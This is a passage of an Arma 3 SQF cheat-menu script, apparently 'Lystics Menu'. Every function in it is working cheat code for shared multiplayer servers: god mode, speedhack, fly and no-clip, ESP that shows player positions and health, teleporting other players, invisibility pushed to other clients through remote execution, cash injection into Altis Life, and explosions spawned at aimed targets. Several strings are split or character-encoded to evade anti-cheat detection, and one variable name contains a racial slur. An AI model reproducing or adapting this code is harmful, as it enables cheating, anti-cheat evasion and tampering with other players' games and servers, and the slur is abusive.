  705. waitUntil{getFatigue player != 0 || !S_noFatigue_t};
  706. };
  707. } else {
  708. hint 'No Fatigue Off';
  709. };
  710.  
  711. };
  712. S_noFall = {
  713. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  714.  
  715. if(S_noFall_t) then {
  716. hint 'No Fall On';
  717. _sleep = 0.2;
  718. while{S_noFall_t} do {
  719. if(player == vehicle player) then {
  720. _z = velocity player select 2;
  721. if(_z < -3) then {
  722. _arr = velocity player;
  723. _arr set[2,1];
  724. player setVelocity _arr;
  725. _sleep = 0;
  726. } else {
  727. _sleep = 0.2;
  728. };
  729. } else {
  730. _sleep = 0.3;
  731. };
  732. uiSleep _sleep;
  733. };
  734. } else {
  735. hint 'No Fall Off';
  736. };
  737.  
  738. };
  739. S_unlimitedAmmo = {
  740. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  741.  
  742. if(S_unlimitedAmmo_t) then {
  743. hint 'Unlimited Ammo On';
  744. while{S_unlimitedAmmo_t} do {
  745. (vehicle player) setVehicleAmmo 1;
  746. uiSleep 0.1;
  747. };
  748. } else {
  749. hint 'Unlimited Ammo Off';
  750. };
  751.  
  752. };
  753. s_fastShoot = {
  754. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  755.  
  756. if(s_fastShoot_t) then {
  757. hint 'Fast Shoot On';
  758. while{s_fastShoot_t} do {
  759. (vehicle player) setWeaponReloadingTime [vehicle player,currentWeapon player,0];
  760. uiSleep 0.1;
  761. };
  762. } else {
  763. hint 'Fast Shoot Off';
  764. };
  765.  
  766. };
  767. s_vehGod = {
  768. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  769. if(S_VEHgod_TOGGLE) then {hintSilent format["Vehicle %1 Enabled",toString [71,111,100,77,111,100,101]];} else {hintSilent format["Vehicle %1 Disabled",toString [71,111,100,77,111,100,101]];};
  770. while{S_VEHgod_TOGGLE} do {
  771. waitUntil{vehicle player != player};
  772. _veh = vehicle player;
  773. _veh removeAllEventHandlers "handleDamage";
  774. _veh addEventHandler ["handleDamage", {false}];
  775. _veh allowDamage false;
  776. _veh setDamage 0;
  777. _veh setFuel 1;
  778. waitUntil{vehicle player == player};
  779. _veh removeAllEventHandlers "handleDamage";
  780. _veh addEventHandler ["handleDamage", {true}];
  781. _veh allowDamage true;
  782. };
  783. };
  784. s_speedhack = {
  785. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  786. if(s_speedhack_t) then {
  787. hint "Speedhack ON";
  788. cutText [format["Speehack ON"], "PLAIN DOWN"];
  789. waituntil {!isnull (finddisplay 46)};
  790. Speed_Hack_cus = (findDisplay 46) displayAddEventHandler ["KeyDown","(_this select 1) call cus_SPEED_DOWN;false"];
  791. cus_SPEED_DOWN =
  792. {
  793. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  794. _cus_Vehicle = vehicle player;
  795. if(_cus_Vehicle == player)exitwith{};
  796. if(isEngineOn _cus_Vehicle) then
  797. {
  798. switch (_this) do
  799. {
  800. case 18:
  801. {
  802. if(isEngineOn _cus_Vehicle) then
  803. {
  804. _cus_Vehicle setVelocity [(velocity _cus_Vehicle select 0) * 1.02, (velocity _cus_Vehicle select 1) * 1.02, (velocity _cus_Vehicle select 2) * 0.99];
  805. };
  806. };
  807. };
  808. };
  809. };
  810. } else {
  811. hint "Speedhack OFF";
  812. cutText [format["Speedhack OFF"], "PLAIN DOWN"];
  813. cus_SPEED_DOWN = nil;
  814. (findDisplay 46) displayRemoveEventHandler ["KeyDown", Speed_Hack_cus];
  815. };
  816. };
  817. s_invis = {
  818. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  819. _code = {
  820. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  821. LY_InvisTarget = {
  822. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  823. _object = _this select 0;
  824. _hide = _this select 1;
  825. _object hideObjectGlobal _hide;
  826. };
  827. };
  828. [_code,false] call fn_Exec;
  829. _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + "_player = objnull; {if(name _x == '" + name player + "') then {_player = _x;};} forEach allUnits; [_player," + str s_invis_t + "] spawn LY_InvisTarget;");
  830. [_code,false] call fn_Exec;
  831.  
  832. };
  833. s_tphere = {
  834. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  835. _target_says_peter = call fn_getSelected;
  836. {
  837. if(name _x == _target_says_peter) then {
  838. _pos = getPos _X;
  839. _pos = [_pos select 0, _pos select 1, -100];
  840.  
  841. _aim_peterSays = (vehicle _x);
  842. if (true) then
  843. {
  844. _aim_peterSays setPosASL _pos;
  845. };
  846. _pos = getPos vehicle player;
  847. _dir = getDir vehicle player;
  848. if (player != vehicle player) then
  849. {
  850. _pos = [(_pos select 0)+8*sin(_dir),(_pos select 1)+8*cos(_dir),(_pos select 2)+1];
  851. }
  852. else
  853. {
  854. _pos = [(_pos select 0)+2*sin(_dir),(_pos select 1)+2*cos(_dir),(_pos select 2)+1];
  855. };
  856. if (true) then
  857. {
  858. _aim_peterSays setPosASL _pos;
  859. };
  860. };
  861. } forEach allUnits;
  862. };
  863. s_tpthere = {
  864. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  865. _target_peter_cus = call fn_getSelected;
  866. {
  867. if(name _x == _target_peter_cus) then {
  868. _pos = getPos player;
  869. _pos = [_pos select 0, _pos select 1, -100];
  870.  
  871. _aim_cause_pete_saysSO_cus = (vehicle player);
  872. if (true) then
  873. {
  874. _aim_cause_pete_saysSO_cus setPosASL _pos;
  875. };
  876. _pos = getPos vehicle _x;
  877. _dir_of_the_nigger_cus = getDir vehicle _x;
  878. if (_x != vehicle _x) then
  879. {
  880. _pos = [(_pos select 0)-8*sin(_dir_of_the_nigger_cus),(_pos select 1)-8*cos(_dir_of_the_nigger_cus),(_pos select 2)+1];
  881. }
  882. else
  883. {
  884. _pos = [(_pos select 0)-2*sin(_dir_of_the_nigger_cus),(_pos select 1)-2*cos(_dir_of_the_nigger_cus),(_pos select 2)+1];
  885. };
  886. if (true) then
  887. {
  888. _aim_cause_pete_saysSO_cus setPosASL _pos;
  889. _aim_cause_pete_saysSO_cus setDir _dir_of_the_nigger_cus;
  890. };
  891. };
  892. } forEach allUnits;
  893. };
  894. s_esp = {
  895. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  896. if(s_esp_t) then {
  897. addMissionEventHandler ["Draw3D",{
  898. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  899. {
  900. if((isPlayer _x) && ((side _x) == (side player)) && ((player distance _x) < 700) && (getplayeruid _x != "")) then {
  901. _pos = getposatl _x;
  902. _eyepos = ASLtoATL eyepos _x;
  903. if((getTerrainHeightASL [_pos select 0,_pos select 1]) < 0) then {
  904. _eyepos = eyepos _x;
  905. _pos = getposasl _x;
  906. };
  907. _1 = _x modelToWorld [-0.5,0,0];
  908. _2 = _x modelToWorld [0.5,0,0];
  909. _3 = _x modelToWorld [-0.5,0,0];
  910. _4 = _x modelToWorld [0.5,0,0];
  911. _1 set [2,_pos select 2];
  912. _2 set [2,_pos select 2];
  913. _3 set [2,(_eyepos select 2)+0.25];
  914. _4 set [2,(_eyepos select 2)+0.25];
  915. _HP = (damage _x - 1) * -100;
  916. _fontsize = 0.02;
  917. _eyepos set [2,(_3 select 2) - 0.1];
  918. drawIcon3D["",[0,1,0,1],_eyepos,0.1,0.1,45,format["%1(%2m) - %3HP",name _x,round(player distance _x),round(_HP)],1,_fontsize,'EtelkaNarrowMediumPro'];
  919. drawLine3D[_1,_2,[0,1,0,1]];
  920. drawLine3D[_2,_4,[0,1,0,1]];
  921. drawLine3D[_4,_3,[0,1,0,1]];
  922. drawLine3D[_3,_1,[0,1,0,1]];
  923. };
  924. if((isPlayer _x) && ((side _x) != (side player)) && ((player distance _x) < 1400) && (getplayeruid _x != "")) then {
  925. _pos = getposatl _x;
  926. _eyepos = ASLtoATL eyepos _x;
  927. _1 = _x modelToWorld [-0.5,0,0];
  928. _2 = _x modelToWorld [0.5,0,0];
  929. _3 = _x modelToWorld [-0.5,0,0];
  930. _4 = _x modelToWorld [0.5,0,0];
  931. _1 set [2,_pos select 2];
  932. _2 set [2,_pos select 2];
  933. _3 set [2,(_eyepos select 2)+0.25];
  934. _4 set [2,(_eyepos select 2)+0.25];
  935. _HP = (damage _x - 1) * -100;
  936. _fontsize = 0.02;
  937. _eyepos set [2,(_3 select 2) - 0.1];
  938. drawIcon3D["",[1,0,0,1],_eyepos,0.1,0.1,45,format["%1(%2m) - %3HP",name _x,round(player distance _x),round(_HP)],1,_fontsize,'EtelkaNarrowMediumPro'];
  939. drawLine3D[_1,_2,[1,0,0,1]];
  940. drawLine3D[_2,_4,[1,0,0,1]];
  941. drawLine3D[_4,_3,[1,0,0,1]];
  942. drawLine3D[_3,_1,[1,0,0,1]];
  943. };
  944. } forEach allUnits;
  945. }];
  946. } else {
  947. removeAllMissionEventHandlers "Draw3D";
  948. };
  949. };
  950. s_lowt = {
  951. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  952. if (s_lowt_t) then {
  953. setTerrainGrid 50;
  954. hint "Terrain Low";
  955. cutText [format["Terrain Low"], "PLAIN DOWN"];
  956. } else {
  957. setTerrainGrid 12.5;
  958. hint "Terrain Normal";
  959. cutText [format["Terrain Normal"], "PLAIN DOWN"];
  960. };
  961. };
  962. s_noclip = {
  963. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  964. if(s_noclip_t) then {
  965. hint "No Clip ON";
  966. _clipList = [];
  967. while{s_noclip_t} do {
  968. _objects = ((position player) nearObjects 100);
  969. {
  970. if !(_x in _clipList) then {
  971. _clipList = _clipList + [_x];
  972. player disableCollisionWith _x;
  973. };
  974. } forEach _objects;
  975. {
  976. if !(_x in _objects) then {
  977. _clipList = _clipList - [_x];
  978. player enableCollisionWith _x;
  979. };
  980. } forEach _clipList;
  981. };
  982. {
  983. player enableCollisionWith _x;
  984. } forEach _clipList;
  985. } else {
  986. hint "No Clip OFF";
  987. };
  988. };
  989. s_fly = {
  990. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  991. LY_ = 5;
  992. LY_leftAndRight = 2;
  993. LY_upAndDown = 6;
  994. LY_distanceFromGround = 1;
  995. LY_hovering = false;
  996. LY_hoverPos = nil;
  997. LY_ZVeh = 0.072;
  998. LY_BelieveIcanFly = s_fly_t;
  999.  
  1000. LY_move_forward = {
  1001. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1002. if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
  1003. _vehicle = (vehicle player);
  1004. _vel = velocity _vehicle;
  1005. _dir = direction _vehicle;
  1006. _speed = 0.4;
  1007. comment "Added speed";
  1008. _vehicle setVelocity[(_vel select 0) + (sin _dir * _speed), (_vel select 1) +
  1009. (cos _dir * _speed), 0.4];
  1010. };
  1011. };
  1012.  
  1013. LY_move_left = {
  1014. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1015. if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
  1016. _leftDirection = getdir(vehicle player);
  1017. (vehicle player) setdir(_leftDirection) - LY_leftAndRight;
  1018. };
  1019. };
  1020.  
  1021. LY_move_backward = {
  1022. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1023. if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
  1024. _vehicle = (vehicle player);
  1025. _vel = velocity _vehicle;
  1026. _dir = direction _vehicle;
  1027. _speed = -0.4;
  1028. comment "Added speed";
  1029. _vehicle setVelocity[(_vel select 0) + (sin _dir * _speed), (_vel select 1) +
  1030. (cos _dir * _speed), 0.4];
  1031. };
  1032. };
  1033.  
  1034. LY_move_right = {
  1035. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1036. if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
  1037. _rightDirection = getdir(vehicle player);
  1038. (vehicle player) setdir(_rightDirection) + LY_leftAndRight;
  1039. player setVariable["lastPos", 1];
  1040. player setVariable["lastPos", []];
  1041. };
  1042. };
  1043.  
  1044. LY_move_up = {
  1045. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1046. _vehicle = (vehicle player);
  1047. _vel = velocity _vehicle;
  1048. LY_ZVeh = 4;
  1049. _vehicle setVelocity[(_vel select 0), (_vel select 1), 4];
  1050. };
  1051.  
  1052. LY_move_up_up = {
  1053. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1054. LY_ZVeh = 0.072;
  1055. };
  1056.  
  1057. LY_move_down = {
  1058. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1059. if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
  1060. _vehicle = (vehicle player);
  1061. _vel = velocity _vehicle;
  1062. LY_ZVeh = -4;
  1063. _vehicle setVelocity[(_vel select 0), (_vel select 1), -4];
  1064. };
  1065. };
  1066.  
  1067. LY_move_down_up = {
  1068. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1069. LY_ZVeh = 0.072;
  1070. };
  1071.  
  1072. toggle_hover = {
  1073. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1074. LY_hovering = !LY_hovering;
  1075. if (LY_hovering) then {
  1076. titleText["Now Hovering!", "PLAIN DOWN"];
  1077. titleFadeOut 4;
  1078. LY_hoverPos = getPosATL(vehicle player);
  1079. } else {
  1080. titleText["No longer Hovering!", "PLAIN DOWN"];
  1081. titleFadeOut 4;
  1082. };
  1083. };
  1084.  
  1085. if (LY_BelieveIcanFly) then {
  1086. hint "Fly Mode ON";
  1087. titleText["Press 'spacebar' to toggle hover.", "PLAIN DOWN"];
  1088. titleFadeOut 4;
  1089. LY_BelieveIcanFly = true;
  1090. LY_keyForward = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 17) then {call LY_move_forward;}"];
  1091. LY_keyLeft = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 30) then {call LY_move_left;}"];
  1092. LY_keyBackward = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 31) then {call LY_move_backward;}"];
  1093. LY_keyRight = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 32) then {call LY_move_right;}"];
  1094. LY_keyUp = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 16) then {call LY_move_up;}"];
  1095. LY_keyDown = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 44) then {call LY_move_down;}"];
  1096. LY_keyUpUp = (findDisplay 46) displayAddEventHandler["KeyUp", "if ((_this select 1) == 16) then {call LY_move_up_up;}"];
  1097. LY_keyDownUp = (findDisplay 46) displayAddEventHandler["KeyUp", "if ((_this select 1) == 44) then {call LY_move_down_up;}"];
  1098. LY_keyHover = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 57) then {call toggle_hover;}"];
  1099. } else {
  1100. hint "Fly Mode OFF";
  1101. titleText["Going Down!", "PLAIN DOWN"];
  1102. titleFadeOut 4;
  1103. (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyForward];
  1104. (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyLeft];
  1105. (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyBackward];
  1106. (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyRight];
  1107. (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyUp];
  1108. (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyDown];
  1109. (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyHover];
  1110. (finddisplay 46) displayRemoveEventHandler["KeyUp", LY_keyUpUp];
  1111. (finddisplay 46) displayRemoveEventHandler["KeyUp", LY_keyDownUp];
  1112. };
  1113.  
  1114. while {
  1115. LY_BelieveIcanFly
  1116. }
  1117. do {
  1118. _velocity = velocity (vehicle player);
  1119. if (LY_hovering) then {
  1120. (vehicle player) setvelocity[0, 0, 0.2];
  1121. } else {
  1122. _velocity set [2,LY_ZVeh];
  1123. (vehicle player) setVelocity _velocity;
  1124. };
  1125. };
  1126. };
  1127. s_cash100k = {
  1128. if(!isNil "life_no_injection") then {life_no_injection = true;};
  1129. setcash = true;
  1130. if(isNil "cash_var") then {cash_var = "swag";};
  1131. if(cash_var == "swag") then {
  1132. _search = preprocessfilelinenumbers "core\configuration.sqf";
  1133. _words = [_search," "] call BIS_fnc_splitString;
  1134. _index = _words find "west:";
  1135. if(_index != -1) then {
  1136. _varIndex = _index + 1;
  1137. _varTemp = _words select _varIndex;
  1138. _varTemp = toLower(_varTemp);
  1139. _low = (toArray("a") select 0);
  1140. _high = (toArray("z") select 0);
  1141. _allowedLetters = toArray("_1234567890");
  1142. _newArray = [];
  1143. _oldArray = toArray(_varTemp);
  1144. for "_i" from 0 to count(_oldArray)-1 do {
  1145. _val = _oldArray select _i;
  1146. if((_val >= _low && _val <= _high) || (_val in _allowedLetters)) then {
  1147. _newArray set[count(_newArray),_val];
  1148. }
  1149. };
  1150. cash_var = toString _newArray;
  1151. } else {
  1152. setcash = false;
  1153. };
  1154. };
  1155. if(!setcash) exitWith {hint "failed to find life cash variable! Sorry :(";};
  1156.  
  1157. call compile format["%1 = %1 + 100000;",cash_var];
  1158. hint "Money Added :P";
  1159. if(!isNil "life_no_injection") then {life_no_injection = false;};
  1160. };
  1161. s_licenses = {
  1162. {missionnamespace setVariable[(_x select 0),true];} foreach life_licenses;
  1163. ["TaskSucceeded",["","Liscenses Added"]] call bis_fnc_showNotification;
  1164. };
  1165. s_spectate = {
  1166. _name = call fn_getSelected;;
  1167. {
  1168. if(name _x == _name) then
  1169. {
  1170. _x switchCamera "EXTERNAL";
  1171. hint format ["Spectating %1, press F10 to cancel", name _x];
  1172. };
  1173. } forEach allUnits;
  1174. (findDisplay 46) displayAddEventHandler ['KeyDown', ' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};if ((_this select 1) == 0x44) then
  1175. {
  1176. player switchCamera "EXTERNAL";
  1177. }'];
  1178. };
  1179. s_bexplode = {
  1180. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1181. if (s_bexplode_t) then
  1182. {
  1183. vehicle player removeAllEventHandlers "Fired";
  1184. cutText [" \nBig Fuckin Bullets Loaded..","PLAIN"];
  1185. vehicle player addeventhandler ["Fired",{call BigFuckinBullets_Peter_cus} ];
  1186.  
  1187. BigFuckinBullets_Peter_cus =
  1188. {
  1189. if (isNull cursorTarget) then
  1190. {
  1191. TargetPlayer_peter_cus = screenToWorld [0.5,0.5];
  1192. }
  1193. else
  1194. {
  1195. TargetPlayer_peter_cus = getpos cursorTarget;
  1196. };
  1197. call compile (" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};_spwnboom_cus = ""Helicopter" + "ExploBig"" createVe" + "hiclelocal TargetPlayer_peter_cus");
  1198.  
  1199. };
  1200. }
  1201. else
  1202. {
  1203. cutText [" \nBack to Normal Bullets..","PLAIN"];
  1204. vehicle player removeAllEventHandlers "Fired";
  1205. };
  1206. };
  1207. s_abullets = {
  1208. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1209. if (s_abullets_t) then
  1210. {
  1211. vehicle player removeAllEventHandlers "Fired";
  1212. cutText [" \nAnimal Bullets Loaded..","PLAIN"];
  1213. vehicle player addeventhandler ["Fired",{call AnimalBullets_Peter_cus} ];
  1214.  
  1215. AnimalBullets_Peter_cus =
  1216. {
  1217. _bullet = _this select 6;
  1218. if(!isNull _bullet) then {
  1219. _animal = createAgent["Sheep_random_F",[0,0,0],[],0,"NONE"];
  1220. _animal setDir (getdir _bullet);
  1221. _animal setvectorUp (vectorup _bullet);
  1222. _animal setposatl (getposatl _bullet);
  1223. _animal setVelocity (velocity _bullet);
  1224. };
  1225. };
  1226. }
  1227. else
  1228. {
  1229. cutText [" \nBack to Normal Bullets..","PLAIN"];
  1230. vehicle player removeAllEventHandlers "Fired";
  1231. };
  1232. };
  1233. s_tbullets = {
  1234. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1235. if(s_tbullets_t) then {
  1236. hint "Tracers Activated";
  1237. [player,5,true] call fn_drawTracer;
  1238. } else {
  1239. hint "Tracers Removed";
  1240. [player,0,true] call fn_drawTracer;
  1241. };
  1242. };
  1243. s_drawmap = {
  1244. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1245. disableserialization;
  1246. _display = findDisplay 12;
  1247. _ctrl = _display displayCtrl 51;
  1248.  
  1249. if(s_drawmap_t) then {
  1250. hint 'Click the map to draw with markers!';
  1251.  
  1252. _ctrl ctrlAddEventHandler["MouseButtonDown",{
  1253. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1254. _key = _this select 1;
  1255. if(_key == 0) then {
  1256. s_drawmap_keydown = true;
  1257. };
  1258. }];
  1259. _ctrl ctrlAddEventHandler["MouseButtonUp",{
  1260. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1261. _key = _this select 1;
  1262. if(_key == 0) then {
  1263. s_drawmap_keydown = false;
  1264. };
  1265. }];
  1266. _ctrl ctrlAddEventHandler["MouseMoving",{
  1267. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1268. if(s_drawmap_keydown) then {
  1269. _map = _this select 0;
  1270. _x = _this select 1;
  1271. _y = _this select 2;
  1272. _worldPos = _map ctrlMapScreenToWorld [_x,_y];
  1273. _name = str(random(1000000)) + "_swag";
  1274. _mark = createMarker [_name,_worldPos];
  1275. _mark setMarkerType "waypoint";
  1276. _mark setMarkerPos _worldPos;
  1277. _mark setMarkerSize [0.75,0.75];
  1278. _mark setMarkerColor "ColorBlue";
  1279. };
  1280.  
  1281. }];
  1282. } else {
  1283. hint 'Map Drawing OFF';
  1284. _ctrl ctrlRemoveAllEventHandlers "MouseButtonUp";
  1285. _ctrl ctrlRemoveAllEventHandlers "MouseMoving";
  1286. _ctrl ctrlRemoveAllEventHandlers "MouseButtonDown";
  1287. };
  1288. };
  1289. s_dsquad = {
  1290. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1291.  
  1292. _unit = "Rabbit_F";
  1293. switch(side player) do {
  1294. case west: {_unit = "B_Soldier_02_f";};
  1295. case east: {_unit = "O_G_Soldier_F";};
  1296. case independent: {_unit = "I_G_Soldier_F";};
  1297. case civilian: {_unit = "B_Soldier_02_f";};
  1298. };
  1299.  
  1300. _one = (group player) createUnit [_unit,position player,[],0,"NONE"];
  1301. _two = (group player) createUnit [_unit,position player,[],0,"NONE"];
  1302. _three = (group player) createUnit [_unit,position player,[],0,"NONE"];
  1303. _four = (group player) createUnit [_unit,position player,[],0,"NONE"];
  1304.  
  1305. {
  1306. _x setSkill ["aimingAccuracy",1];
  1307. _x setSkill ["aimingShake",1];
  1308. _x setSkill ["aimingSpeed",1];
  1309. _x setSkill ["endurance",1];
  1310. _x setSkill ["spotDistance",1];
  1311. _x setSkill ["spotTime",1];
  1312. _x setSkill ["courage",1];
  1313. _x setSkill ["reloadSpeed",1];
  1314. _x setSkill ["commanding",1];
  1315. _x setSkill ["general",1];
  1316. _x doFollow player;
  1317. _x allowDamage false;
  1318. _x addEventHandler ["HandleDamage",{false}];
  1319. } forEach [_one,_two,_three,_four];
  1320. (group player) setBehaviour "AWARE";
  1321. (group player) setCombatMode "YELLOW";
  1322. (group player) enableAttack true;
  1323.  
  1324. player addEventHandler ["FiredNear",{
  1325. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1326. _firer = _this select 1;
  1327. if((group _firer) != (group player)) then {
  1328. _units = (units (group player)) - [player];
  1329. {
  1330. _x doFire _firer;
  1331. _x setVehicleAmmo 1;
  1332. } forEach _units;
  1333. };
  1334. }];
  1335. hint 'Your defense squad is here!';
  1336. };
  1337. s_hackbox = {
  1338. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1339. hint 'Loading HackBox-2000...';
  1340. _dir = getdir vehicle player;
  1341. _pos = getPos vehicle player;
  1342. _pos = [(_pos select 0)+1.5*sin(_dir),(_pos select 1)+1.5*cos(_dir),0];
  1343. _box_cus = "box_NATO_AMMO_F" createVehicleLocal _pos;
  1344.  
  1345. clearWeaponCargo _box_cus;
  1346. clearMagazineCargo _box_cus;
  1347. clearItemCargo _box_cus;
  1348. clearBackpackCargo _box_cus;
  1349.  
  1350. _cfgweapons = configFile >> "CfgWeapons";
  1351. _weapons = [];
  1352. for "_i" from 0 to (count _cfgWeapons)-1 do
  1353. {
  1354. _cur_wep_cus = _cfgweapons select _i;
  1355.  
  1356. if(isClass _cur_wep_cus) then
  1357. {
  1358. _classname_cus = configName _cur_wep_cus;
  1359. _wep_type = getNumber(_cur_wep_cus >> "type");
  1360. _scope_o_it = getNumber(_cur_wep_cus >> "scope");
  1361. _cusicture = getText(_cur_wep_cus >> "picture");
  1362. if(_scope_o_it >= 2 && _wep_type in [1,2,4,4096] && _cusicture != "" && !(_classname_cus in _weapons) && _classname_cus != "NVGoggles") then
  1363. {
  1364. _weapons set[count _weapons, _classname_cus];
  1365. };
  1366. };
  1367. };
  1368.  
  1369. _cfgweapons = configFile >> "CfgMagazines";
  1370. _magazines = [];
  1371.  
  1372. for "_i" from 0 to (count _cfgWeapons)-1 do
  1373. {
  1374. _cur_wep_cus = _cfgweapons select _i;
  1375.  
  1376. if(isClass _cur_wep_cus) then
  1377. {
  1378. _classname_cus = configName _cur_wep_cus;
  1379. _scope_o_it = getNumber(_cur_wep_cus >> "scope");
  1380. _cusicture = getText(_cur_wep_cus >> "picture");
  1381. if(_scope_o_it >= 2 && _cusicture != "" && !(_classname_cus in _magazines)) then
  1382. {
  1383. _magazines set[count _magazines, _classname_cus];
  1384. };
  1385. };
  1386. };
  1387.  
  1388. { _box_cus addWeaponCargo [_x,5]; } foreach _weapons;
  1389. { _box_cus addMagazineCargo [_x,15]; }foreach _magazines;
  1390.  
  1391. _cfgweapons = configFile >> "CfgWeapons";
  1392. _items = [];
  1393.  
  1394. for "_i" from 0 to (count _cfgWeapons)-1 do
  1395. {
  1396. _cur_wep_cus = _cfgweapons select _i;
  1397.  
  1398. if(isClass _cur_wep_cus) then
  1399. {
  1400. _classname_cus = configName _cur_wep_cus;
  1401. _wep_type = getNumber(_cur_wep_cus >> "type");
  1402. _scope_o_it = getNumber(_cur_wep_cus >> "scope");
  1403. _cusicture = getText(_cur_wep_cus >> "picture");
  1404. if(_scope_o_it >= 2 && _wep_type in [131072,4096] && _cusicture != "" && !(_classname_cus in _items) && _classname_cus != "Binocular") then
  1405. {
  1406. _items set[count _items, _classname_cus];
  1407. };
  1408. };
  1409. };
  1410.  
  1411. { _box_cus addItemCargo [_x,10]; } foreach _items;
  1412.  
  1413. _cfgweapons = configFile >> "CfgVehicles";
  1414. _backpacks_cus = [];
  1415.  
  1416. for "_i" from 0 to (count _cfgWeapons)-1 do
  1417. {
  1418. _cur_wep_cus = _cfgweapons select _i;
  1419.  
  1420. if(isClass _cur_wep_cus) then
  1421. {
  1422. _classname_cus = configName _cur_wep_cus;
  1423. _wep_type = getText(_cur_wep_cus >> "vehicleClass");
  1424. _scope_o_it = getNumber(_cur_wep_cus >> "scope");
  1425. _cusicture = getText(_cur_wep_cus >> "picture");
  1426. if(_scope_o_it >= 2 && _wep_type == "Backpacks" && _cusicture != "" && !(_classname_cus in _backpacks_cus)) then
  1427. {
  1428. _backpacks_cus set[count _backpacks_cus, _classname_cus];
  1429. };
  1430. };
  1431. };
  1432.  
  1433. { _box_cus addBackPackCargo [_x,5]; } foreach _backpacks_cus;
  1434.  
  1435. hint 'Your HackBox-2000 Has Arrived!';
  1436. };
  1437. S_DoMorph = {
  1438. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  1439. _agent = createAgent[_this select 0,getposatl player,[],0,"NONE"];
  1440. [_agent] joinSilent (group player);
  1441. _oldPlayer = player;
  1442. setPlayable _agent;
  1443. selectPlayer _agent;
  1444. _oldPlayer disableAI "MOVE";
  1445. _oldPlayer disableAI "ANIM";
  1446. _oldPlayer disableAI "FSM";
  1447. systemchat "Lystics Menu -> Morph Success!";
  1448. };
  1449. s_morph = {
  1450. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
